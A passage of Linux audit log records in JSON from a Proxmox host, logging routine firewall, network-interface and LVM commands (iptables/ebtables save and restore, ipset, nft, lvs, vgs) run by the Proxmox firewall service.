inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206034,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.034:64614): proctitle=\"ip6tables-save\""} {"@timestamp":1781966046084,"@rawstring":"node=pve type=PATH msg=audit(1781966046.084:68216): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206028,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.028:64613): proctitle=\"iptables-save\""} {"@timestamp":1781966046078,"@rawstring":"node=pve type=PATH msg=audit(1781966046.078:68215): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206024,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.024:64612): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966046078,"@rawstring":"node=pve type=PATH msg=audit(1781966046.078:68215): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206020,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.020:64611): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966046068,"@rawstring":"node=pve type=PATH msg=audit(1781966046.068:68214): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206018,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.018:64610): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966046068,"@rawstring":"node=pve type=PATH msg=audit(1781966046.068:68214): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206018,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.018:64609): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966046062,"@rawstring":"node=pve type=PATH msg=audit(1781966046.062:68212): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206014,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.014:64608): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966046062,"@rawstring":"node=pve type=PATH msg=audit(1781966046.062:68212): item=0 name=\"/sbin/ebtables-restore\" inode=274520 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965206008,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965206.008:64607): proctitle=\"ip6tables-save\""} {"@timestamp":1781966046055,"@rawstring":"node=pve type=PATH msg=audit(1781966046.055:68211): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965205998,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965205.998:64606): proctitle=\"iptables-save\""} {"@timestamp":1781966046055,"@rawstring":"node=pve type=PATH msg=audit(1781966046.055:68211): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965205993,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965205.993:64605): proctitle=69707365740073617665"} {"@timestamp":1781966046048,"@rawstring":"node=pve type=PATH msg=audit(1781966046.048:68210): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965205983,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965205.983:64604): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966046048,"@rawstring":"node=pve type=PATH msg=audit(1781966046.048:68210): item=0 name=\"/sbin/ip6tables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965205974,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965205.974:64603): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966046040,"@rawstring":"node=pve type=PATH msg=audit(1781966046.040:68209): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965204673,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965204.673:64602): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966046040,"@rawstring":"node=pve type=PATH msg=audit(1781966046.040:68209): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965204650,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965204.650:64601): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966046027,"@rawstring":"node=pve type=PATH msg=audit(1781966046.027:68208): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965202160,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965202.160:64600): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966046027,"@rawstring":"node=pve type=PATH msg=audit(1781966046.027:68208): item=0 name=\"/sbin/iptables-restore\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965202160,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965202.160:64599): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966046016,"@rawstring":"node=pve type=PATH msg=audit(1781966046.016:68207): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965202160,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965202.160:64598): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966046016,"@rawstring":"node=pve type=PATH msg=audit(1781966046.016:68207): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965202154,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965202.154:64597): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966046008,"@rawstring":"node=pve type=PATH msg=audit(1781966046.008:68206): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965202154,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965202.154:64596): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966046008,"@rawstring":"node=pve type=PATH msg=audit(1781966046.008:68206): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965202154,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965202.154:64595): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966046000,"@rawstring":"node=pve type=PATH msg=audit(1781966046.000:68205): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965197142,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965197.142:64594): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966046000,"@rawstring":"node=pve type=PATH msg=audit(1781966046.000:68205): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965197142,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965197.142:64593): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966045994,"@rawstring":"node=pve type=PATH msg=audit(1781966045.994:68204): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965197142,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965197.142:64592): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966045994,"@rawstring":"node=pve type=PATH msg=audit(1781966045.994:68204): item=0 name=\"/usr/sbin/ebtables\" inode=274519 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965197135,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965197.135:64591): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966045987,"@rawstring":"node=pve type=PATH msg=audit(1781966045.987:68203): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965197135,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965197.135:64590): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966045987,"@rawstring":"node=pve type=PATH msg=audit(1781966045.987:68203): item=0 name=\"/bin/sh\" inode=260675 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965197135,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965197.135:64589): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966045986,"@rawstring":"node=pve type=PATH msg=audit(1781966045.986:68202): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195960,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.960:64588): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966045986,"@rawstring":"node=pve type=PATH msg=audit(1781966045.986:68202): item=0 name=\"/bin/date\" inode=260676 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195951,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.951:64587): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966045986,"@rawstring":"node=pve type=PATH msg=audit(1781966045.986:68201): item=0 name=\"/sbin/date\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195949,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.949:64586): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966045981,"@rawstring":"node=pve type=PATH msg=audit(1781966045.981:68200): item=2 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195949,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.949:64585): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966045981,"@rawstring":"node=pve type=PATH msg=audit(1781966045.981:68200): item=1 name=\"/usr/bin/perl\" inode=260857 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195938,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.938:64584): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966045981,"@rawstring":"node=pve type=PATH msg=audit(1781966045.981:68200): item=0 name=\"/sbin/ebtables-save\" inode=274521 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195926,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.926:64583): proctitle=\"ip6tables-save\""} {"@timestamp":1781966045972,"@rawstring":"node=pve type=PATH msg=audit(1781966045.972:68199): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195918,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.918:64582): proctitle=\"iptables-save\""} {"@timestamp":1781966045972,"@rawstring":"node=pve type=PATH msg=audit(1781966045.972:68199): item=0 name=\"/sbin/ip6tables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195912,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.912:64581): proctitle=\"ip6tables-save\""} {"@timestamp":1781966045964,"@rawstring":"node=pve type=PATH msg=audit(1781966045.964:68198): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195902,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.902:64580): proctitle=\"iptables-save\""} {"@timestamp":1781966045964,"@rawstring":"node=pve type=PATH msg=audit(1781966045.964:68198): item=0 name=\"/sbin/iptables-save\" inode=275719 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195900,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.900:64579): proctitle=\"ebtables-restore\""} {"@timestamp":1781966045957,"@rawstring":"node=pve type=PATH msg=audit(1781966045.957:68197): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195897,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.897:64578): proctitle=\"ebtables-restore\""} {"@timestamp":1781966045957,"@rawstring":"node=pve type=PATH msg=audit(1781966045.957:68197): item=0 name=\"/sbin/ipset\" inode=275589 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195890,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.890:64577): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966045946,"@rawstring":"node=pve type=PATH msg=audit(1781966045.946:68196): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195884,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.884:64576): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966045946,"@rawstring":"node=pve type=PATH msg=audit(1781966045.946:68196): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195877,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.877:64575): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781966045936,"@rawstring":"node=pve type=PATH msg=audit(1781966045.936:68195): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195869,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.869:64574): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781966045936,"@rawstring":"node=pve type=PATH msg=audit(1781966045.936:68195): item=0 name=\"/sbin/ip\" inode=260771 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195861,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.861:64573): proctitle=697073657400726573746F7265"} {"@timestamp":1781966045195,"@rawstring":"node=pve type=PATH msg=audit(1781966045.195:68194): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195856,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.856:64572): proctitle=\"ip6tables-save\""} {"@timestamp":1781966045195,"@rawstring":"node=pve type=PATH msg=audit(1781966045.195:68194): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195843,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.843:64571): proctitle=\"iptables-save\""} {"@timestamp":1781966045193,"@rawstring":"node=pve type=PATH msg=audit(1781966045.193:68193): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195836,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.836:64570): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781966045193,"@rawstring":"node=pve type=PATH msg=audit(1781966045.193:68192): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195817,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.817:64569): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781966045187,"@rawstring":"node=pve type=PATH msg=audit(1781966045.187:68191): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195815,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.815:64568): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966045187,"@rawstring":"node=pve type=PATH msg=audit(1781966045.187:68191): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195815,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.815:64567): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966045187,"@rawstring":"node=pve type=PATH msg=audit(1781966045.187:68190): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195803,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.803:64566): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781966045187,"@rawstring":"node=pve type=PATH msg=audit(1781966045.187:68189): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195788,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.788:64565): proctitle=\"ip6tables-save\""} {"@timestamp":1781966044949,"@rawstring":"node=pve type=PATH msg=audit(1781966044.949:68188): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195779,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.779:64564): proctitle=\"iptables-save\""} {"@timestamp":1781966044949,"@rawstring":"node=pve type=PATH msg=audit(1781966044.949:68188): item=0 name=\"/sbin/lvs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195774,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.774:64563): proctitle=69707365740073617665"} {"@timestamp":1781966044927,"@rawstring":"node=pve type=PATH msg=audit(1781966044.927:68187): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195763,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.763:64562): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966044927,"@rawstring":"node=pve type=PATH msg=audit(1781966044.927:68187): item=0 name=\"/sbin/vgs\" inode=265377 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965195752,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965195.752:64561): proctitle=6970002D64657461696C73002D6A736F6E006C696E6B0073686F77"} {"@timestamp":1781966040179,"@rawstring":"node=pve type=PATH msg=audit(1781966040.179:68186): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965194556,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965194.556:64560): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781966040179,"@rawstring":"node=pve type=PATH msg=audit(1781966040.179:68186): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965194528,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965194.528:64559): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781966040179,"@rawstring":"node=pve type=PATH msg=audit(1781966040.179:68185): item=0 name=\"/usr/local/bin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965192125,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965192.125:64558): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966040179,"@rawstring":"node=pve type=PATH msg=audit(1781966040.179:68184): item=0 name=\"/usr/local/sbin/nft\" nametype=UNKNOWN cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965192125,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965192.125:64557): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966040170,"@rawstring":"node=pve type=PATH msg=audit(1781966040.170:68183): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=264121 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 cap_fe=0 cap_fver=0 cap_frootid=0"} {"@timestamp":1781965192125,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781965192.125:64556): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781966040170,"@rawstring":"node=pve type=PATH msg=audit(1781966040.170:68183): item=0 name=\"/usr/sbin/nft\" inode=289607 dev=fc:01 mode=0100755 ouid=0 ogid=0 rdev=00:00 nametype=NORMAL cap_fp=0 cap_fi=0 